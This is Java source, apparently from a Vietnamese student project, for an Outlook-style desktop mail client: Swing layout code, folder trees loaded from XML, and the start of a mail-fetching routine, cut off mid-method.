public void itemStateChanged(ItemEvent e) {
Object source = e.getSource();
if (source instanceof AbstractButton == false) return;
boolean checked = e.getStateChange() == ItemEvent.SELECTED;
DoiTrangThaiCotCheckBox(checked);
}
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/jTable_HienThiContact.java | Java | asf20 | 8,269 |
/*
* DoAnLyThuyet_JavaOutLookView.java
*/
package doanlythuyet_javaoutlook;
import BUS.MyMailBUS;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.MyUserControl.JFrame_CauHinhProxy;
import doanlythuyet_javaoutlook.MyUserControl.JFrame_Contact;
import doanlythuyet_javaoutlook.MyUserControl.JPanel_XemMail;
import java.io.IOException;
import java.sql.SQLException;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.jdesktop.application.Action;
import org.jdesktop.application.ResourceMap;
import org.jdesktop.application.SingleFrameApplication;
import org.jdesktop.application.FrameView;
import org.jdesktop.application.TaskMonitor;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.Timer;
import javax.swing.Icon;
import javax.swing.JDialog;
import javax.swing.JFrame;
import doanlythuyet_javaoutlook.MyUserControl.JFrame_GuiMail;
import doanlythuyet_javaoutlook.MyUserControl.JTreeFromXMLFile;
import doanlythuyet_javaoutlook.MyUserControl.PopupMenu_MouseListerner_MyBangDanhSachFile;
import java.io.File;
import java.util.ArrayList;
import java.util.Hashtable;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.internet.MimeMessage;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.MutableTreeNode;
import javax.swing.tree.TreePath;
import org.xml.sax.SAXException;
/**
* The application's main frame.
*/
public class DoAnLyThuyet_JavaOutLookView extends FrameView {
/**
* @return the jTree_ThuMucTrenMay
*/
public static JTreeFromXMLFile getJTree_ThuMucTrenMay() {
return jTree_ThuMucTrenMay;
}
/**
* @param aJTree_ThuMucTrenMay the jTree_ThuMucTrenMay to set
*/
public static void setJTree_ThuMucTrenMay(JTreeFromXMLFile aJTree_ThuMucTrenMay) {
jTree_ThuMucTrenMay = aJTree_ThuMucTrenMay;
}
//private CayDuyetFile cayDuyetFile;
private String thuMucDuocChon = "";
private JPanel_XemMail jPanel_XemMail = new JPanel_XemMail();
private JTreeFromXMLFile jTree_ThuMucMail;
private static JTreeFromXMLFile jTree_ThuMucTrenMay;
private void jXuLy_KhiNguoiDungDoiThuMucDuyetMail(String str_fileduocchon) {
try {
//throw new UnsupportedOperationException("Not supported yet.");
//JOptionPane.showMessageDialog(null, "hien thi cac mail trong thu muc: " + str_fileduocchon + " (file DoAnLyThuyet_JavaOutLookView.java dong 54)");
MyMailBUS mailBUS = new MyMailBUS();
Hashtable<String, String> cacDieuKien = new Hashtable<String, String>();
cacDieuKien.put("DuongDanThuMuc", str_fileduocchon);
ArrayList<MyMailDTO> cacMailDTO = mailBUS.layTatCaMailVoiDieuKien(str_fileduocchon, cacDieuKien);
jScrollPane_Giua.setViewportView(jPanel_XemMail);
jSplitPane_GiuaPhai.setDividerLocation(800);
jPanel_XemMail.DuaDanhSachMailVaoBang(cacMailDTO);
jPanel_XemMail.setToolTipText(thuMucDuocChon);
} catch (SQLException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookView.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookView.class.getName()).log(Level.SEVERE, null, ex);
}
}
private void initMailsComponents(){
String dataPath = DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\src";
dataPath = new File(".").getAbsolutePath();
String fileName = "\\Database\\XML_ThuMucMail.xml";
jTree_ThuMucMail = new JTreeFromXMLFile(dataPath + fileName, true);
jScrollPane_ThuMucMail.setViewportView(jTree_ThuMucMail);
jTree_ThuMucMail.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
thuMucDuocChon = str_fileduocchon;
jXuLy_KhiNguoiDungDoiThuMucDuyetMail(thuMucDuocChon);
}
});
fileName = "\\Database\\XML_ThuMucNguoiDung.xml";
setJTree_ThuMucTrenMay(new JTreeFromXMLFile(dataPath + fileName, false));
jScrollPane_ThuMucTrenMay.setViewportView(getJTree_ThuMucTrenMay());
getJTree_ThuMucTrenMay().addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
thuMucDuocChon = str_fileduocchon;
jXuLy_KhiNguoiDungDoiThuMucDuyetMail(thuMucDuocChon);
}
});
JMenuItem menuItem = (JMenuItem) jPanel_XemMail.getPopupMenu().getComponent(0);
PopupMenu_MouseListerner_MyBangDanhSachFile mouseListerner = (PopupMenu_MouseListerner_MyBangDanhSachFile) menuItem.getMouseListeners()[1];
mouseListerner.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
//throw new UnsupportedOperationException("Not supported yet.");
jXuLy_KhiNguoiDungDoiThuMucDuyetMail(thuMucDuocChon);
}
});
}
public DoAnLyThuyet_JavaOutLookView(SingleFrameApplication app) throws SAXException {
super(app);
String dataPath = new File(".").getAbsolutePath();
String strFileName = dataPath + "\\Database\\XML_Proxy.xml";
DoAnLyThuyet_JavaOutLookApp.LayProxytuXML(strFileName);
initComponents();
initMailsComponents();
// status bar initialization - message timeout, idle icon and busy animation, etc
ResourceMap resourceMap = getResourceMap();
int messageTimeout = resourceMap.getInteger("StatusBar.messageTimeout");
messageTimer = new Timer(messageTimeout, new ActionListener() {
public void actionPerformed(ActionEvent e) {
statusMessageLabel.setText("");
}
});
messageTimer.setRepeats(false);
int busyAnimationRate = resourceMap.getInteger("StatusBar.busyAnimationRate");
for (int i = 0; i < busyIcons.length; i++) {
busyIcons[i] = resourceMap.getIcon("StatusBar.busyIcons[" + i + "]");
}
busyIconTimer = new Timer(busyAnimationRate, new ActionListener() {
public void actionPerformed(ActionEvent e) {
busyIconIndex = (busyIconIndex + 1) % busyIcons.length;
statusAnimationLabel.setIcon(busyIcons[busyIconIndex]);
}
});
idleIcon = resourceMap.getIcon("StatusBar.idleIcon");
statusAnimationLabel.setIcon(idleIcon);
progressBar.setVisible(false);
// connecting action tasks to status bar via TaskMonitor
TaskMonitor taskMonitor = new TaskMonitor(getApplication().getContext());
taskMonitor.addPropertyChangeListener(new java.beans.PropertyChangeListener() {
public void propertyChange(java.beans.PropertyChangeEvent evt) {
String propertyName = evt.getPropertyName();
if ("started".equals(propertyName)) {
if (!busyIconTimer.isRunning()) {
statusAnimationLabel.setIcon(busyIcons[0]);
busyIconIndex = 0;
busyIconTimer.start();
}
progressBar.setVisible(true);
progressBar.setIndeterminate(true);
} else if ("done".equals(propertyName)) {
busyIconTimer.stop();
statusAnimationLabel.setIcon(idleIcon);
progressBar.setVisible(false);
progressBar.setValue(0);
} else if ("message".equals(propertyName)) {
String text = (String)(evt.getNewValue());
statusMessageLabel.setText((text == null) ? "" : text);
messageTimer.restart();
} else if ("progress".equals(propertyName)) {
int value = (Integer)(evt.getNewValue());
progressBar.setVisible(true);
progressBar.setIndeterminate(false);
progressBar.setValue(value);
}
}
});
/*
cayDuyetFile= new CayDuyetFile(jScrollPane_ThuMucMail);
cayDuyetFile.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
//JOptionPane.showMessageDialog(null, str_fileduocchon);
}
});*/
//jXuLy_KhiNguoiDungDoiThuMucDuyetMail("Mails\\Inbox\\");
}
@Action
public void showAboutBox() {
if (aboutBox == null) {
JFrame mainFrame = DoAnLyThuyet_JavaOutLookApp.getApplication().getMainFrame();
aboutBox = new DoAnLyThuyet_JavaOutLookAboutBox(mainFrame);
aboutBox.setLocationRelativeTo(mainFrame);
}
DoAnLyThuyet_JavaOutLookApp.getApplication().show(aboutBox);
//initMyComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
mainPanel = new javax.swing.JPanel();
jPanel_Tren = new javax.swing.JPanel();
jToolBar2 = new javax.swing.JToolBar();
jButton_Tool_GetMail = new javax.swing.JButton();
jButton_NewMail = new javax.swing.JButton();
jButton_Find = new javax.swing.JButton();
jSplitPane_TraiVaGiua = new javax.swing.JSplitPane();
jSplitPane_GiuaPhai = new javax.swing.JSplitPane();
jPanel_BenPhai = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jEditorPane1 = new javax.swing.JEditorPane();
jScrollPane_Giua = new javax.swing.JScrollPane();
jLabel1 = new javax.swing.JLabel();
jPanel_BenTrai = new javax.swing.JPanel();
jToolBar1 = new javax.swing.JToolBar();
jButton_Contact = new javax.swing.JButton();
jButton1 = new javax.swing.JButton();
jSplitPane_ThuMuc = new javax.swing.JSplitPane();
jScrollPane_ThuMucMail = new javax.swing.JScrollPane();
jScrollPane_ThuMucTrenMay = new javax.swing.JScrollPane();
menuBar = new javax.swing.JMenuBar();
javax.swing.JMenu fileMenu = new javax.swing.JMenu();
jMenu_New = new javax.swing.JMenu();
jMenuItem_Mail = new javax.swing.JMenuItem();
jMenuItem_Contact = new javax.swing.JMenuItem();
jMenuItem_Task = new javax.swing.JMenuItem();
jMenuItem_Folder = new javax.swing.JMenuItem();
jMenu_Open = new javax.swing.JMenu();
jMenuItem_SelectItems = new javax.swing.JMenuItem();
jSeparator1 = new javax.swing.JSeparator();
jMenu_Folder = new javax.swing.JMenu();
jMenuItem_NewFolder = new javax.swing.JMenuItem();
jMenuItem_CopyFolder = new javax.swing.JMenuItem();
jMenuItem_DeleteFolder = new javax.swing.JMenuItem();
jMenuItem_RenameFolder = new javax.swing.JMenuItem();
jSeparator2 = new javax.swing.JSeparator();
javax.swing.JMenuItem exitMenuItem = new javax.swing.JMenuItem();
jMenu_Edit = new javax.swing.JMenu();
jMenuItem_Cut = new javax.swing.JMenuItem();
jMenuItem_Copy = new javax.swing.JMenuItem();
jMenuItem_Paste = new javax.swing.JMenuItem();
jSeparator3 = new javax.swing.JSeparator();
jMenuItem_SelectAll = new javax.swing.JMenuItem();
jSeparator4 = new javax.swing.JSeparator();
jMenuItem1 = new javax.swing.JMenuItem();
jMenu_Tools = new javax.swing.JMenu();
jMenuItem_Receive = new javax.swing.JMenuItem();
jMenuItem_Find = new javax.swing.JMenuItem();
jMenuItem_Addressbook = new javax.swing.JMenuItem();
javax.swing.JMenu helpMenu = new javax.swing.JMenu();
javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
statusPanel = new javax.swing.JPanel();
javax.swing.JSeparator statusPanelSeparator = new javax.swing.JSeparator();
statusMessageLabel = new javax.swing.JLabel();
statusAnimationLabel = new javax.swing.JLabel();
progressBar = new javax.swing.JProgressBar();
mainPanel.setName("mainPanel"); // NOI18N
mainPanel.setLayout(new java.awt.BorderLayout());
jPanel_Tren.setName("jPanel_Tren"); // NOI18N
jToolBar2.setRollover(true);
jToolBar2.setName("jToolBar2"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(DoAnLyThuyet_JavaOutLookView.class);
jButton_Tool_GetMail.setIcon(resourceMap.getIcon("jButton_Tool_GetMail.icon")); // NOI18N
jButton_Tool_GetMail.setText(resourceMap.getString("jButton_Tool_GetMail.text")); // NOI18N
jButton_Tool_GetMail.setFocusable(false);
jButton_Tool_GetMail.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Tool_GetMail.setName("jButton_Tool_GetMail"); // NOI18N
jButton_Tool_GetMail.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_Tool_GetMail.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_Tool_GetMailActionPerformed(evt);
}
});
jToolBar2.add(jButton_Tool_GetMail);
jButton_NewMail.setIcon(resourceMap.getIcon("jButton_NewMail.icon")); // NOI18N
jButton_NewMail.setText(resourceMap.getString("jButton_NewMail.text")); // NOI18N
jButton_NewMail.setFocusable(false);
jButton_NewMail.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_NewMail.setName("jButton_NewMail"); // NOI18N
jButton_NewMail.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_NewMail.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_NewMailActionPerformed(evt);
}
});
jToolBar2.add(jButton_NewMail);
jButton_Find.setIcon(resourceMap.getIcon("jButton_Find.icon")); // NOI18N
jButton_Find.setText(resourceMap.getString("jButton_Find.text")); // NOI18N
jButton_Find.setFocusable(false);
jButton_Find.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Find.setName("jButton_Find"); // NOI18N
jButton_Find.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_Find.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_FindActionPerformed(evt);
}
});
jToolBar2.add(jButton_Find);
javax.swing.GroupLayout jPanel_TrenLayout = new javax.swing.GroupLayout(jPanel_Tren);
jPanel_Tren.setLayout(jPanel_TrenLayout);
jPanel_TrenLayout.setHorizontalGroup(
jPanel_TrenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel_TrenLayout.createSequentialGroup()
.addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, 655, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(189, Short.MAX_VALUE))
);
jPanel_TrenLayout.setVerticalGroup(
jPanel_TrenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel_TrenLayout.createSequentialGroup()
.addContainerGap(41, Short.MAX_VALUE)
.addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
);
mainPanel.add(jPanel_Tren, java.awt.BorderLayout.PAGE_START);
jSplitPane_TraiVaGiua.setDividerLocation(200);
jSplitPane_TraiVaGiua.setName("jSplitPane_TraiVaGiua"); // NOI18N
jSplitPane_GiuaPhai.setDividerLocation(400);
jSplitPane_GiuaPhai.setName("jSplitPane_GiuaPhai"); // NOI18N
jPanel_BenPhai.setName("jPanel_BenPhai"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jEditorPane1.setContentType(resourceMap.getString("jEditorPane1.contentType")); // NOI18N
jEditorPane1.setText(resourceMap.getString("jEditorPane1.text")); // NOI18N
jEditorPane1.setName("jEditorPane1"); // NOI18N
jScrollPane1.setViewportView(jEditorPane1);
javax.swing.GroupLayout jPanel_BenPhaiLayout = new javax.swing.GroupLayout(jPanel_BenPhai);
jPanel_BenPhai.setLayout(jPanel_BenPhaiLayout);
jPanel_BenPhaiLayout.setHorizontalGroup(
jPanel_BenPhaiLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 232, Short.MAX_VALUE)
);
jPanel_BenPhaiLayout.setVerticalGroup(
jPanel_BenPhaiLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 408, Short.MAX_VALUE)
);
jSplitPane_GiuaPhai.setRightComponent(jPanel_BenPhai);
jScrollPane_Giua.setName("jScrollPane_Giua"); // NOI18N
jLabel1.setFont(resourceMap.getFont("jLabel1.font")); // NOI18N
jLabel1.setHorizontalAlignment(javax.swing.SwingConstants.CENTER);
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jScrollPane_Giua.setViewportView(jLabel1);
jSplitPane_GiuaPhai.setLeftComponent(jScrollPane_Giua);
jSplitPane_TraiVaGiua.setRightComponent(jSplitPane_GiuaPhai);
jPanel_BenTrai.setName("jPanel_BenTrai"); // NOI18N
jToolBar1.setRollover(true);
jToolBar1.setName("jToolBar1"); // NOI18N
jButton_Contact.setIcon(resourceMap.getIcon("jButton_Contact.icon")); // NOI18N
jButton_Contact.setText(resourceMap.getString("jButton_Contact.text")); // NOI18N
jButton_Contact.setFocusable(false);
jButton_Contact.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Contact.setName("jButton_Contact"); // NOI18N
jButton_Contact.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_Contact.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_ContactActionPerformed(evt);
}
});
jToolBar1.add(jButton_Contact);
jButton1.setIcon(resourceMap.getIcon("jButton1.icon")); // NOI18N
jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
jButton1.setFocusable(false);
jButton1.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton1.setName("jButton1"); // NOI18N
jButton1.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jToolBar1.add(jButton1);
jSplitPane_ThuMuc.setDividerLocation(150);
jSplitPane_ThuMuc.setOrientation(javax.swing.JSplitPane.VERTICAL_SPLIT);
jSplitPane_ThuMuc.setName("jSplitPane_ThuMuc"); // NOI18N
jScrollPane_ThuMucMail.setName("jScrollPane_ThuMucMail"); // NOI18N
jSplitPane_ThuMuc.setTopComponent(jScrollPane_ThuMucMail);
jScrollPane_ThuMucTrenMay.setName("jScrollPane_ThuMucTrenMay"); // NOI18N
jSplitPane_ThuMuc.setRightComponent(jScrollPane_ThuMucTrenMay);
javax.swing.GroupLayout jPanel_BenTraiLayout = new javax.swing.GroupLayout(jPanel_BenTrai);
jPanel_BenTrai.setLayout(jPanel_BenTraiLayout);
jPanel_BenTraiLayout.setHorizontalGroup(
jPanel_BenTraiLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jToolBar1, javax.swing.GroupLayout.DEFAULT_SIZE, 199, Short.MAX_VALUE)
.addComponent(jSplitPane_ThuMuc, javax.swing.GroupLayout.DEFAULT_SIZE, 199, Short.MAX_VALUE)
);
jPanel_BenTraiLayout.setVerticalGroup(
jPanel_BenTraiLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel_BenTraiLayout.createSequentialGroup()
.addComponent(jSplitPane_ThuMuc, javax.swing.GroupLayout.DEFAULT_SIZE, 356, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 48, javax.swing.GroupLayout.PREFERRED_SIZE))
);
jSplitPane_TraiVaGiua.setLeftComponent(jPanel_BenTrai);
mainPanel.add(jSplitPane_TraiVaGiua, java.awt.BorderLayout.CENTER);
menuBar.setName("menuBar"); // NOI18N
fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
fileMenu.setName("fileMenu"); // NOI18N
jMenu_New.setText(resourceMap.getString("jMenu_New.text")); // NOI18N
jMenu_New.setName("jMenu_New"); // NOI18N
jMenuItem_Mail.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Mail.setText(resourceMap.getString("jMenuItem_Mail.text")); // NOI18N
jMenuItem_Mail.setName("jMenuItem_Mail"); // NOI18N
jMenu_New.add(jMenuItem_Mail);
jMenuItem_Contact.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Contact.setText(resourceMap.getString("jMenuItem_Contact.text")); // NOI18N
jMenuItem_Contact.setName("jMenuItem_Contact"); // NOI18N
jMenu_New.add(jMenuItem_Contact);
jMenuItem_Task.setText(resourceMap.getString("jMenuItem_Task.text")); // NOI18N
jMenuItem_Task.setName("jMenuItem_Task"); // NOI18N
jMenu_New.add(jMenuItem_Task);
jMenuItem_Folder.setText(resourceMap.getString("jMenuItem_Folder.text")); // NOI18N
jMenuItem_Folder.setName("jMenuItem_Folder"); // NOI18N
jMenu_New.add(jMenuItem_Folder);
fileMenu.add(jMenu_New);
jMenu_Open.setText(resourceMap.getString("jMenu_Open.text")); // NOI18N
jMenu_Open.setName("jMenu_Open"); // NOI18N
jMenuItem_SelectItems.setText(resourceMap.getString("jMenuItem_SelectItems.text")); // NOI18N
jMenuItem_SelectItems.setName("jMenuItem_SelectItems"); // NOI18N
jMenu_Open.add(jMenuItem_SelectItems);
fileMenu.add(jMenu_Open);
jSeparator1.setName("jSeparator1"); // NOI18N
fileMenu.add(jSeparator1);
jMenu_Folder.setText(resourceMap.getString("jMenu_Folder.text")); // NOI18N
jMenu_Folder.setName("jMenu_Folder"); // NOI18N
jMenuItem_NewFolder.setText(resourceMap.getString("jMenuItem_NewFolder.text")); // NOI18N
jMenuItem_NewFolder.setName("jMenuItem_NewFolder"); // NOI18N
jMenu_Folder.add(jMenuItem_NewFolder);
jMenuItem_CopyFolder.setText(resourceMap.getString("jMenuItem_CopyFolder.text")); // NOI18N
jMenuItem_CopyFolder.setName("jMenuItem_CopyFolder"); // NOI18N
jMenu_Folder.add(jMenuItem_CopyFolder);
jMenuItem_DeleteFolder.setText(resourceMap.getString("jMenuItem_DeleteFolder.text")); // NOI18N
jMenuItem_DeleteFolder.setName("jMenuItem_DeleteFolder"); // NOI18N
jMenu_Folder.add(jMenuItem_DeleteFolder);
jMenuItem_RenameFolder.setText(resourceMap.getString("jMenuItem_RenameFolder.text")); // NOI18N
jMenuItem_RenameFolder.setName("jMenuItem_RenameFolder"); // NOI18N
jMenu_Folder.add(jMenuItem_RenameFolder);
fileMenu.add(jMenu_Folder);
jSeparator2.setName("jSeparator2"); // NOI18N
fileMenu.add(jSeparator2);
javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getActionMap(DoAnLyThuyet_JavaOutLookView.class, this);
exitMenuItem.setAction(actionMap.get("quit")); // NOI18N
exitMenuItem.setName("exitMenuItem"); // NOI18N
fileMenu.add(exitMenuItem);
menuBar.add(fileMenu);
jMenu_Edit.setText(resourceMap.getString("jMenu_Edit.text")); // NOI18N
jMenu_Edit.setName("jMenu_Edit"); // NOI18N
jMenuItem_Cut.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_X, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Cut.setText(resourceMap.getString("jMenuItem_Cut.text")); // NOI18N
jMenuItem_Cut.setName("jMenuItem_Cut"); // NOI18N
jMenu_Edit.add(jMenuItem_Cut);
jMenuItem_Copy.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Copy.setText(resourceMap.getString("jMenuItem_Copy.text")); // NOI18N
jMenuItem_Copy.setName("jMenuItem_Copy"); // NOI18N
jMenu_Edit.add(jMenuItem_Copy);
jMenuItem_Paste.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_V, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Paste.setText(resourceMap.getString("jMenuItem_Paste.text")); // NOI18N
jMenuItem_Paste.setName("jMenuItem_Paste"); // NOI18N
jMenu_Edit.add(jMenuItem_Paste);
jSeparator3.setName("jSeparator3"); // NOI18N
jMenu_Edit.add(jSeparator3);
jMenuItem_SelectAll.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_A, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_SelectAll.setText(resourceMap.getString("jMenuItem_SelectAll.text")); // NOI18N
jMenuItem_SelectAll.setName("jMenuItem_SelectAll"); // NOI18N
jMenu_Edit.add(jMenuItem_SelectAll);
jSeparator4.setName("jSeparator4"); // NOI18N
jMenu_Edit.add(jSeparator4);
jMenuItem1.setText(resourceMap.getString("jMenuItem1.text")); // NOI18N
jMenuItem1.setName("jMenuItem1"); // NOI18N
jMenu_Edit.add(jMenuItem1);
menuBar.add(jMenu_Edit);
jMenu_Tools.setText(resourceMap.getString("jMenu_Tools.text")); // NOI18N
jMenu_Tools.setName("jMenu_Tools"); // NOI18N
jMenuItem_Receive.setText(resourceMap.getString("jMenuItem_Receive.text")); // NOI18N
jMenuItem_Receive.setName("jMenuItem_Receive"); // NOI18N
jMenu_Tools.add(jMenuItem_Receive);
jMenuItem_Find.setText(resourceMap.getString("jMenuItem_Find.text")); // NOI18N
jMenuItem_Find.setName("jMenuItem_Find"); // NOI18N
jMenu_Tools.add(jMenuItem_Find);
jMenuItem_Addressbook.setText(resourceMap.getString("jMenuItem_Addressbook.text")); // NOI18N
jMenuItem_Addressbook.setName("jMenuItem_Addressbook"); // NOI18N
jMenu_Tools.add(jMenuItem_Addressbook);
menuBar.add(jMenu_Tools);
helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
helpMenu.setName("helpMenu"); // NOI18N
aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
aboutMenuItem.setName("aboutMenuItem"); // NOI18N
helpMenu.add(aboutMenuItem);
menuBar.add(helpMenu);
statusPanel.setName("statusPanel"); // NOI18N
statusPanelSeparator.setName("statusPanelSeparator"); // NOI18N
statusMessageLabel.setName("statusMessageLabel"); // NOI18N
statusAnimationLabel.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
statusAnimationLabel.setName("statusAnimationLabel"); // NOI18N
progressBar.setName("progressBar"); // NOI18N
javax.swing.GroupLayout statusPanelLayout = new javax.swing.GroupLayout(statusPanel);
statusPanel.setLayout(statusPanelLayout);
statusPanelLayout.setHorizontalGroup(
statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(statusPanelSeparator, javax.swing.GroupLayout.DEFAULT_SIZE, 844, Short.MAX_VALUE)
.addGroup(statusPanelLayout.createSequentialGroup()
.addContainerGap()
.addComponent(statusMessageLabel)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 674, Short.MAX_VALUE)
.addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(statusAnimationLabel)
.addContainerGap())
);
statusPanelLayout.setVerticalGroup(
statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(statusPanelLayout.createSequentialGroup()
.addComponent(statusPanelSeparator, javax.swing.GroupLayout.PREFERRED_SIZE, 2, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(statusMessageLabel)
.addComponent(statusAnimationLabel)
.addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(3, 3, 3))
);
setComponent(mainPanel);
setMenuBar(menuBar);
setStatusBar(statusPanel);
}// </editor-fold>//GEN-END:initComponents
private void jButton_ContactActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_ContactActionPerformed
try {
// TODO add your handling code here:
JFrame_Contact contact = new JFrame_Contact();
contact.setVisible(true);
} catch (IOException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookView.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(DoAnLyThuyet_JavaOutLookView.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jButton_ContactActionPerformed
/**
* lay cac mail moi
* @return
* @throws java.lang.Exception
*/
private int thucHienLayMailMoi () throws Exception{
int Kq = 0;
MyMail myMail = new MyMail(DoAnLyThuyet_JavaOutLookApp.getSmtp_host(), DoAnLyThuyet_JavaOutLookApp.getPop3_host(), DoAnLyThuyet_JavaOutLookApp.getUser()
, DoAnLyThuyet_JavaOutLookApp.getPass(), DoAnLyThuyet_JavaOutLookApp.getProxy(), DoAnLyThuyet_JavaOutLookApp.getPort());
Session session = myMail.getMailSession(true);
Message mess[] = myMail.layCacMessageTrongInbox(session);
DefaultTreeModel model = (DefaultTreeModel) jTree_ThuMucMail.getJTreeThuMucNguoiDung().getModel();
